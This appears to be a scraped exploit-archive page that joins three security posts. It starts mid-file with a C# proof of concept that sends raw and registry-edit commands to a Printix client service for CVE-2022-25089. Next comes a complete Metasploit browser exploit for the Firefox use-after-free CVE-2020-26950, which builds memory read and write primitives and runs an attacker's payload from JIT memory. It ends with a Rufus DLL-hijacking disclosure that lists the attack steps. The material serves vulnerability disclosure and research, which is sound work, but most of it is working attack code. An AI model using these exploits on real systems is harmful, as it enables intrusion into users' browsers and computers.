= "{\"profileID\":1,\"result\":true}";<br /><br /> //The username to use.<br /> //This is to fulfill the requriements whilst in development mode.<br /> DefaultValues.CurrentSessName = "printixMDNs7914";<br /><br /> //The host to connect to. DEFAULT= "localhost"<br /> string host = "192.168.1.29";<br /><br /> // Configuration Above<br /><br /> InvalidInputLabel:<br /> Console.Clear();<br /> Console.WriteLine("Please select the certificate you want to use with port 21338.");<br /> //Deprecated, certificates are no longer needed to verify, as clientside only uses the self-signed certificates now.<br /> Console.WriteLine("Already selected, client authentication isn't needed.");<br /><br /> Console.WriteLine(" /───────────────────────────\\ ");<br /> Console.WriteLine("\nWhat would you like to do?");<br /> Console.WriteLine("\n 1. Send Ping Request");<br /> Console.WriteLine(" 2. Send Registry Edit Request");<br /> Console.WriteLine(" 3. Send Custom Request");<br /> Console.WriteLine(" 4. Experimental Mode (Beta)\n");<br /> Console.Write("I choose option # ");<br /><br /> try<br /> {<br /> switch (int.Parse(Console.ReadLine().ToLower()))<br /> {<br /> case (1):<br /> Session session = new Session(2);<br /><br /> command = session.commandNumber;<br /> host = session.host;<br /> data = session.data;<br /> DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);<br /><br /><br /><br /> break;<br /> case (2):<br /> Session sessionTwo = new Session(49);<br /><br /> command = sessionTwo.commandNumber;<br /> host = sessionTwo.host;<br /> data = sessionTwo.data;<br /> DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);<br /><br /> break;<br /> case (3):<br /><br /> Console.WriteLine("What command number do you want to input?");<br /> command = int.Parse(Console.ReadLine().ToString());<br /> Console.WriteLine("What IP would you like to use? (Default = localhost)");<br /> host = Console.ReadLine();<br /> Console.WriteLine("What data do you want to send? (Keep over 4 chars if you are not sure!)");<br /> data = Console.ReadLine();<br /><br /> Console.WriteLine("What session name do you want to use? ");<br /> DefaultValues.CurrentSessName = Console.ReadLine();<br /> break;<br /> case (4):<br /> Console.WriteLine("Not yet implemented.");<br /> break;<br /> }<br /> }<br /> catch (Exception e)<br /> {<br /> Console.WriteLine("Invalid Input!");<br /> goto InvalidInputLabel;<br /> }<br /> <br /> Console.WriteLine("Proof Of Concept For CVE-2022-25089 | Version: 1.3.24 | Created by Logan Latvala");<br /> Console.WriteLine("This is a RAW API, in which you may get unintended results from usage.\n");<br /><br /> CompCommClient client = new CompCommClient();<br /><br /><br /> byte[] responseStorage = new byte[25555];<br /> int responseCMD = 0;<br /> client.Connect(host, 21338, 3, 10000);<br /><br /> client.SendMessage(command, Encoding.UTF8.GetBytes(data));<br /> // Theory: There is always a message being sent, yet it doesn't read it, or can't intercept it.<br /> // Check for output multiple times, and see if this is conclusive.<br /><br /><br /><br /> //client.SendMessage(51, Encoding.ASCII.GetBytes(data));<br /> new Thread(() => {<br /> //Thread.Sleep(4000);<br /> if (client.Connected())<br /> {<br /> int cam = 0;<br /> // 4 itterations of loops, may be lifted in the future.<br /> while (cam < 5)<br /> {<br /><br /> //Reads the datastream and keeps returning results.<br /> //Thread.Sleep(100);<br /> try<br /> {<br /> try<br /> {<br /> if (responseStorage?.Any() == true)<br /> {<br /> //List<byte> byo1 = responseStorage.ToList();<br /> if (!Encoding.UTF8.GetString(responseStorage).Contains("Caption"))<br /> {<br /> foreach (char cam2 in Encoding.UTF8.GetString(responseStorage))<br /> {<br /> if (!char.IsWhiteSpace(cam2) && char.IsLetterOrDigit(cam2) || char.IsPunctuation(cam2))<br /> {<br /> Console.Write(cam2);<br /> }<br /> }<br /> }else<br /> {<br /> <br /> }<br /> }<br /><br /> }<br /> catch (Exception e) { Debug.WriteLine(e); }<br /> client.Read(out responseCMD, out responseStorage);<br /><br /> }<br /> catch (Exception e)<br /> {<br /> goto ReadException;<br /> }<br /> Thread.Sleep(100);<br /> cam++;<br /> //Console.WriteLine(cam);<br /> }<br /><br /> <br /><br /><br /> }<br /> else<br /> {<br /> Console.WriteLine("[WARNING]: Client is Disconnected!");<br /> }<br /> ReadException:<br /> try<br /> {<br /> Console.WriteLine("Command Variable Response: " + responseCMD);<br /> Console.WriteLine(Encoding.UTF8.GetString(responseStorage) + " || " + responseCMD);<br /> client.disConnect();<br /> }<br /> catch (Exception e)<br /> {<br /> Console.WriteLine("After 4.2 Seconds, there has been no response!");<br /> client.disConnect();<br /> }<br /> }).Start();<br /><br /> Console.WriteLine(responseCMD);<br /> Console.ReadLine();<br /><br /> }<br /><br /> catch (Exception e)<br /> {<br /> Console.WriteLine(e);<br /> Console.ReadLine();<br /><br /> //Environment.Exit(e.HResult);<br /> }<br /><br /> goto FORCERESTART;<br /> }<br /> }<br />}<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ManualRanking<br /><br /> include Msf::Exploit::Remote::HttpServer::BrowserExploit<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit',<br /> 'Description' => %q{<br /> This modules exploits CVE-2020-26950, a use after free exploit in Firefox.<br /> The MCallGetProperty opcode can be emitted with unmet assumptions resulting<br /> in an exploitable use-after-free condition.<br /><br /> This exploit uses a somewhat novel technique of spraying ArgumentsData<br /> structures in order to construct primitives. The shellcode is forced into<br /> executable memory via the JIT compiler, and executed by writing to the JIT<br /> region pointer.<br /><br /> This exploit does not contain a sandbox escape, so firefox must be run<br /> with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order<br /> for the shellcode to run successfully.<br /><br /> This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and<br /> Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.<br /> Additional work may be needed to support other versions such as Firefox 82.0.1.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> '360 ESG Vulnerability Research Institute', # discovery<br /> 'maxpl0it', # writeup and exploit<br /> 'timwr', # metasploit module<br /> ],<br /> 'References' => [<br /> ['CVE', '2020-26950'],<br /> ['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'],<br /> ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'],<br /> ['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'],<br /> ],<br /> 'Arch' => [ ARCH_X64 ],<br /> 'Platform' => ['linux', 'windows'],<br /> 'DefaultTarget' => 0,<br /> 'Targets' => [<br /> [ 'Automatic', {}],<br /> ],<br /> 'Notes' => {<br /> 'Reliability' => [ REPEATABLE_SESSION ],<br /> 'SideEffects' => [ IOC_IN_LOGS ],<br /> 'Stability' => [CRASH_SAFE]<br /> },<br /> 'DisclosureDate' => '2020-11-18'<br /> )<br /> )<br /> end<br /><br /> def create_js_shellcode<br /> shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded<br /> if (shellcode.length % 8 > 0)<br /> shellcode += "\x00" * (8 - shellcode.length % 8)<br /> end<br /> shellcode_js = ''<br /> for chunk in 0..(shellcode.length / 8) - 1<br /> label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr<br /> shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8]<br /> shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n"<br /> end<br /> shellcode_js<br /> end<br /><br /> def on_request_uri(cli, request)<br /> print_status("Sending #{request.uri} to #{request['User-Agent']}")<br /> shellcode_js = create_js_shellcode<br /> jscript = <<~JS<br /> // Triggers the vulnerability<br /> function jitme(cons, interesting, i) {<br /> interesting.x1 = 10; // Make sure the MSlots is saved<br /><br /> new cons(); // Trigger the vulnerability - Reallocates the object slots<br /><br /> // Allocate a large array on top of this previous slots location.<br /> let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has<br /><br /> // Avoid Elements Copy-On-Write by pushing a value<br /> target.push(i);<br /><br /> // Write the Initialized Length, Capacity, and Length to be larger than it is<br /> // This will work when interesting == cons<br /> interesting.x1 = 3.476677904727e-310;<br /> interesting.x0 = 3.4766779039175e-310;<br /><br /> // Return the corrupted array<br /> return target;<br /> }<br /><br /> // Initialises vulnerable objects<br /> function init() {<br /> // arr will contain our sprayed objects<br /> var arr = [];<br /><br /> // We'll create one object...<br /> var cons = function() {};<br /> for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation)<br /> arr.push(cons);<br /><br /> // ...then duplicate it a whole bunch of times<br /> // The number of times has two uses:<br /> // - Heap spray - Stops any already freed objects getting in our way<br /> // - Allows us to get the jitme function compiled<br /> for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons));<br /><br /> // Return the array<br /> return arr;<br /> }<br /><br /> // Global that holds the total number of objects in our original spray array<br /> TOTAL = 0;<br /><br /> // Global that holds the target argument so it can be used later<br /> arg = 0;<br /><br /> evil = 0;<br /><br /> // setup_prim - Performs recursion to get the vulnerable arguments object<br /> // arguments[0] - Original spray array<br /> // arguments[1] - Recursive depth counter<br /> // arguments[2]+ - Numbers to pad to the right reallocation size<br /> function setup_prim() {<br /> // Base case of our recursion<br /> // If we have reached the end of the original spray array...<br /> if(arguments[1] == TOTAL) {<br /><br /> // Delete an argument to generate the RareArgumentsData pointer<br /> delete arguments[3];<br /><br /> // Read out of bounds to the next object (sprayed objects)<br /> // Check whether the RareArgumentsData pointer is null<br /> if(evil[511] != 0) return arguments;<br /><br /> // If it was null, then we return and try the next one<br /> return 0;<br /> }<br /><br /> // Get the cons value<br /> let cons = arguments[0][arguments[1]];<br /><br /> // Move the pointer (could just do cons.p481 = 481, but this is more fun)<br /> new cons();<br /><br /> // Recursive call<br /> res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 );<br /><br /> // If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it<br /> if(res != 0) return res;<br /><br /> // Otherwise, repeat the base case (delete an argument)<br /> delete arguments[3];<br /><br /> // Check if the next object has a null RareArgumentsData pointer<br /> if(evil[511] != 0) return arguments; // Return arguments if not<br /><br /> // Otherwise just return 0 and try the next one<br /> return 0;<br /> }<br /><br /> // weak_read32 - Bit-by-bit read<br /> function weak_read32(arg, addr) {<br /> // Set the RareArgumentsData pointer to the address<br /> evil[511] = addr;<br /><br /> // Used to hold the leaked data<br /> let val = 0;<br /><br /> // Read it bit-by-bit for 32 bits<br /> // Endianness is taken into account<br /> for(let i = 32; i >= 0; i--) {<br /> val = val << 1; // Shift<br /> if(arg[i] == undefined) {<br /> val = val | 1;<br /> }<br /> }<br /><br /> // Return the integer<br /> return val;<br /> }<br /><br /> // weak_read64 - Bit-by-bit read using BigUint64Array<br /> function weak_read64(arg, addr) {<br /> // Set the RareArgumentsData pointer to the address<br /> evil[511] = addr;<br /><br /> // Used to hold the leaked data<br /> val = new BigUint64Array(1);<br /> val[0] = 0n;<br /><br /> // Read it bit-by-bit for 64 bits<br /> for(let i = 64; i >= 0; i--) {<br /> val[0] = val[0] << 1n;<br /> if(arg[i] == undefined) {<br /> val[0] = val[0] | 1n;<br /> }<br /> }<br /><br /> // Return the BigInt<br /> return val[0];<br /> }<br /><br /> // write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box<br /> function write_nan(arg, addr) {<br /> evil[511] = addr;<br /> for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box<br /> }<br /><br /> // write - Write a value to an address<br /> function write(address, value) {<br /> // Set the fake ArrayBuffer backing store address<br /> address = dbl_to_bigint(address)<br /> target_uint32arr[14] = parseInt(address) & 0xffffffff<br /> target_uint32arr[15] = parseInt(address >> 32n);<br /><br /> // Use the fake ArrayBuffer backing store to write a value to a location<br /> value = dbl_to_bigint(value);<br /> fake_arrbuf[1] = parseInt(value >> 32n);<br /> fake_arrbuf[0] = parseInt(value & 0xffffffffn);<br /> }<br /><br /> // addrof - Gets the address of a given object<br /> function addrof(arg, o) {<br /> // Set the 5th property of the arguments object<br /> arg[5] = o;<br /><br /> // Get the address of the 5th property<br /> target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7)<br /><br /> // Set the fake ArrayBuffer backing store to point to this location<br /> target_uint32arr[14] = parseInt(target) & 0xffffffff;<br /> target_uint32arr[15] = parseInt(target >> 32n);<br /><br /> // Read the address of the object o<br /> return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]);<br /> }<br /><br /> // shellcode - Constant values which hold our shellcode to pop xcalc.<br /> function shellcode(){<br /> #{shellcode_js}<br /> }<br /><br /> // helper functions<br /> var conv_buf = new ArrayBuffer(8);<br /> var f64_buf = new Float64Array(conv_buf);<br /> var u64_buf = new Uint32Array(conv_buf);<br /><br /> function dbl_to_bigint(val) {<br /> f64_buf[0] = val;<br /> return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);<br /> }<br /><br /> function bigint_to_dbl(val) {<br /> u64_buf[0] = Number(val & 0xffffffffn);<br /> u64_buf[1] = Number(val >> 32n);<br /> return f64_buf[0];<br /> }<br /><br /> function main() {<br /> let i = 0;<br /> // ensure the shellcode is in jit rwx memory<br /> for(i = 0;i < 0x5000; i++) shellcode();<br /><br /> // The jitme function returns arrays. We'll save them, just in case.<br /> let arr_saved = [];<br /><br /> // Get the sprayed objects<br /> let arr = init();<br /><br /> // This is our target object. Choosing one of the end ones so that there is enough time for jitme to be compiled<br /> let interesting = arr[arr.length - 10];<br /><br /> // Iterate over the vulnerable object array<br /> for (i = 0; i < arr.length; i++) {<br /> // Run the jitme function across the array<br /> corr_arr = jitme(arr[i], interesting, i);<br /><br /> // Save the generated array. Never trust the garbage collector.<br /> arr_saved[i] = corr_arr;<br /><br /> // Find the corrupted array<br /> if(corr_arr.length != 491) {<br /> // Save it for future evil<br /> evil = corr_arr<br /> break;<br /> }<br /> }<br /><br /> if(evil == 0) {<br /> print("Failure: Failed to get the corrupted array");<br /> return;<br /> }<br /> print("got the corrupted array " + evil.length);<br /><br /> TOTAL=arr.length;<br /> arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480);<br /><br /> old_rareargdat_ptr = evil[511];<br /> print("Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16));<br /><br /> iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value<br /> counter = 0; // Used to prevent a while(true) situation<br /> while(counter < 0x200) {<br /> // Read the current address<br /> output = weak_read32(arg, bigint_to_dbl(iterator));<br /><br /> // Check if it's the expected size value for our ArgumentsObject object<br /> if(output == 0x1e10 || output == 0x1e20) {<br /> // If it is, then read the ArgumentsData pointer<br /> ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n));<br /><br /> // Get the pointer in ArgumentsData to RareArgumentsData<br /> ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n));<br /><br /> // ad_location + 8 points to the RareArgumentsData pointer, so this should match<br /> // We do this because after spraying arguments, there may be a few ArgumentObjects to go past<br /> if((ad_location + 8n) == ptr_in_argdat) break;<br /> }<br /> // Iterate backwards<br /> iterator = iterator - 8n;<br /><br /> // Increment counter<br /> counter += 1;<br /> }<br /><br /> if(counter == 0x200) {<br /> print("Failure: Failed to get AD location");<br /> return;<br /> }<br /><br /> print("AD location: " + ad_location.toString(16));<br /><br /> // The target Uint32Array - A large size value to:<br /> // - Help find the object (Not many 0x00101337 values nearby!)<br /> // - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes)<br /> target_uint32arr = new Uint32Array(0x101337);<br /><br /> // Find the Uint32Array starting from the original leaked Nursery pointer<br /> iterator = dbl_to_bigint(old_rareargdat_ptr);<br /> counter = 0; // Use a counter<br /> while(counter < 0x5000) {<br /><br /> // Read a memory address<br /> output = weak_read32(arg, bigint_to_dbl(iterator));<br /><br /> // If we have found the right size value, we have found the Uint32Array!<br /> if(output == 0x101337) break;<br /><br /> // Check the next memory location<br /> iterator = iterator + 8n;<br /><br /> // Increment the counter<br /> counter += 1;<br /> }<br /><br /> if(counter == 0x5000) {<br /> print("Failure: Failed to find the Uint32Array");<br /> return;<br /> }<br /><br /> // Subtract from the size value address to get to the start of the Uint32Array<br /> arr_buf_addr = iterator - 40n;<br /><br /> // Get the Array Buffer backing store<br /> arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n));<br /> print("AB Location: " + arr_buf_loc.toString(16));<br /><br /> // Create a fake ArrayBuffer through cloning<br /> iterator = arr_buf_addr;<br /> for(i=0;i<64;i++) {<br /> output = weak_read32(arg, bigint_to_dbl(iterator));<br /> target_uint32arr[i] = output;<br /> iterator = iterator + 4n;<br /> }<br /><br /> // Cell Header - Set it to Nursery to pass isNursery()<br /> target_uint32arr[0x3fffa] = 1;<br /><br /> // Write an unboxed pointer to arguments[0]<br /> evil[512] = bigint_to_dbl(arr_buf_loc);<br /><br /> // Make it NaN-Boxed<br /> write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0]<br /><br /> // From here we have a fake UintArray in arg[0]<br /> // Pointer can be changed using target_uint32arr[14] and target_uint32arr[15]<br /> fake_arrbuf = arg[0];<br /><br /> // Get the address of the shellcode function object<br /> shellcode_addr = addrof(arg, shellcode);<br /> print("Function is at: " + shellcode_addr.toString(16));<br /><br /> // Get the jitInfo pointer in the JSFunction object<br /> jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_<br /> print(" jitinfo: " + jitinfo.toString(16));<br /><br /> // We can then fetch the RX region from here<br /> rx_region = weak_read64(arg, bigint_to_dbl(jitinfo));<br /> print(" RX Region: " + rx_region.toString(16));<br /><br /> iterator = rx_region; // Start from the RX region<br /> found = false<br /> // Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode.<br /> for(i = 0; i < 0x800; i++) {<br /> data = weak_read64(arg, bigint_to_dbl(iterator));<br /> if(data == 0x41414141n) {<br /> iterator = iterator + 8n;<br /> found = true;<br /> break;<br /> }<br /> iterator = iterator + 8n;<br /> }<br /> if(!found) {<br /> print("Failure: Failed to find the JIT start");<br /> return;<br /> }<br /><br /> // We now have a pointer to the start of the shellcode<br /> shellcode_location = iterator;<br /> print("Shellcode start: " + shellcode_location.toString(16));<br /><br /> // And can now overwrite the previous jitInfo pointer with our shellcode pointer<br /> write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location));<br /><br /> print("Triggering...");<br /> shellcode(); // Triggering our shellcode is as simple as calling the function again.<br /> }<br /> main();<br /> JS<br /><br /> jscript = add_debug_print_js(jscript)<br /> html = %(<br /><html><br /><script><br />#{jscript}<br /></script><br /></html><br />)<br /> send_response(cli, html, {<br /> 'Content-Type' => 'text/html',<br /> 'Cache-Control' => 'no-cache, no-store, must-revalidate',<br /> 'Pragma' => 'no-cache', 'Expires' => '0'<br /> })<br /> end<br /><br />end<br /></code></pre>
<pre><code>Hi all,<br /><br />I would like to disclose a vulnerability that I just found today.<br /><br />Details below:<br /><br />Vulnerable Software and Version:<br /><br /> 1. Rufus 3.17.1846 executable<br /> 2. Rufus 3.17.1846 portable executable<br /><br />Vulnerable software download link:<br />https://rufus.ie/en/<br /><br />https://github.com/pbatard/rufus/releases/tag/v3.17<br /><br />Date discovered and reported:<br />25 Feb 2022<br /><br />Description:<br />Both Rufus 3.17.1846 executable AND portable executable are suffering from DLL<br />Hijacking by placing x86 MSASN1.dll or VERSION.dll in the same directory as<br />the executables, which could cause arbitrary code execution and privilege<br />escalation.<br /><br />Taking MSASN1.dll as an example, craft a malicious x86 DLL with an entry<br />point with DllMain and place in the same directory, once double click the<br />executable, an x86 admin shell could be obtained as the executable requires<br />admin right to run by design.<br /><br />Attack vector:<br />Taking MSASN1.dll as an example PoC code of dll can be found in my<br />repository<br /><br />Attack steps:<br /><br /> 1.<br /><br /> Craft and drop a malicious DLL named as "MSASN1.dll" with entry point<br /> DllMain [image: image]<br /> <https://user-images.githubusercontent.com/21979646/155570972-1ca622d7-f75e-42ba-b9e5-45eace8fd8d3.png><br /> 2.<br /><br /> Double click the executable "Rufus", administrator privilege is required<br /> to run<br /> 3.<br /><br /> Malicious DLL has been called and an admin shell can be obtained as<br />PoC [image:<br /> image]<br /> <https://user-images.githubusercontent.com/21979646/155571105-aabc503a-47e9-4489-b6f8-df1aad548b70.png><br /><br /><br />This issue has been submitted to github as well and is acknowledged by the<br />owner,<br />https://github.com/pbatard/rufus/issues/1877<br /><br />Thanks and regards,<br />James Tsz Ko Yeung<br /><br /><br /></code></pre>
